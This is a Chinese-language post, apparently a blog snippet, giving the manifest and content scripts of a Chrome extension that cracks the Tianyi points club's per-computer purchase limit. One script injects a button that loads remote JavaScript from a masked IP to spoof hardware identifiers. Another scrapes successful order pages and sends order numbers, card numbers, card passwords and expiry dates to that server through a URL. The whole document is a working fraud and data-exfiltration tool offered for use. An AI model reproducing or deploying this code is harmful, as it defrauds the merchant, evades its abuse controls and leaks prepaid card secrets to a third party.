破解http://y.jf.189.cn天翼积分俱乐部同一台电脑每天只能购买几次的限制,页面请求是会向服务器端送mac,硬盘,cpu地址加密用来判断是同一台电脑。
做法:插件判断当前是购买订单页面,加载远端自己的js,往页面dom树中插入自己的按钮,点击调用自己js的方法,修改mac,硬盘,cpu地址加密为随机串,破解该限制!
该插件另外一个功能是,插件判断当前是购买成功页面或者是订单详情页面而且该订单为成功状态,则获取dom树把该页面中的订单和卡密信息上送服务器。
{ "name": "189CJ", "version": "1.0", "manifest_version": 2, "description": "This is the first 189CJ Chrome extension.", "icons": { "48": "189CJ_48.png" }, "page_action": { "default_icon": "189CJ_19.png" }, "permissions": [ "tabs" ], "content_scripts": [ { "matches": ["http://y.jf.189.cn/orderpay/DummyOrderPay.aspx*"], "js": ["dummyOrderPay.js"] }, { "matches": ["http://y.jf.189.cn/orderpay/Pay_Success.html*"], "js": ["paySuccess.js"] }, { "matches": ["http://jf.189.cn/SelfHelp/OrderDetail.aspx*"], "js": ["orderDetail.js"] } ] }
document.getElementById("btnSubmitOrder").outerHTML = document.getElementById("btnSubmitOrder").outerHTML + "<span class=\"getChance getchance02\" id=\"load189Js\" onclick=\"var scriptObj=document.createElement('script');scriptObj.src='http://XXX.XXX.XXX.XXX:XXXX/189.js';scriptObj.type='text/javascript';scriptObj.id='id189';document.getElementsByTagName('head')[0].appendChild(scriptObj);\">load189Js</span><span class=\"getChance getchance02\" id=\"OOXX\" style=\"display:none;\" onclick=\"ooxx()\">买->已破解</span>";
var bodyHtml = document.body.innerHTML; if(bodyHtml.indexOf("您的订单已经成功支付")>-1){ var url = window.location.href; var index = url.indexOf("t="); url = url.substr(index + "t=".length); window.open("http://jf.189.cn/SelfHelp/OrderDetail.aspx?S=0&ORDERID=" + url); }
var bodyHtml = document.body.innerHTML; if(bodyHtml.indexOf("成功")>-1 && bodyHtml.indexOf("卡密详情:")>-1 && bodyHtml.indexOf("卡号:")>-1){ alert("破解189:捕捉到成功订单,尝试上送服务器!"); var orderDetail = document.getElementById("orderDetail").innerHTML; var index = orderDetail.indexOf("<tr>"); orderDetail = orderDetail.substr(index + "<tr>".length); index = orderDetail.indexOf("<tr>"); orderDetail = orderDetail.substr(index + "<tr>".length); index = orderDetail.indexOf("<td>"); orderDetail = orderDetail.substr(index + "<td>".length); index = orderDetail.indexOf("</td>"); var orderNo = orderDetail.substr(0, index); //alert(orderNo); orderDetail = orderDetail.substr(index + "</td>".length); index = orderDetail.indexOf("<td>"); orderDetail = orderDetail.substr(index + "<td>".length); index = orderDetail.indexOf("<td>"); orderDetail = orderDetail.substr(index + "<td>".length); index = orderDetail.indexOf("</td>"); var productName = orderDetail.substr(0, index); //alert(productName); index = bodyHtml.indexOf("卡密详情:"); bodyHtml = bodyHtml.substr(index + "卡密详情:".length); index = bodyHtml.indexOf("卡号:</b><span>"); while(index > 0){ bodyHtml = bodyHtml.substr(index + "卡号:</b><span>".length); index = bodyHtml.indexOf("</span>"); var cardNo = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "</span>".length); index = bodyHtml.indexOf("密码:</b><span>"); bodyHtml = bodyHtml.substr(index + "密码:</b><span>".length); index = bodyHtml.indexOf("</span>"); var password = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "</span>".length); index = bodyHtml.indexOf("有效期:</b><span>"); bodyHtml = bodyHtml.substr(index + "有效期:</b><span>".length); index = bodyHtml.indexOf("</span>"); var expressDate = bodyHtml.substr(0, index); bodyHtml = bodyHtml.substr(index + "</span>".length); //alert(cardNo + "," + password + "," + expressDate); window.open("http://XXX.XXX.XXX.XXX:XXXX/jf189/cardpass/add.htm?orderNo=" + orderNo + "&productName=" + productName + "&cardNo=" + cardNo + "&password=" + password + "&expressDate=" + expressDate) index = bodyHtml.indexOf("<b>卡号:</b><span>"); } }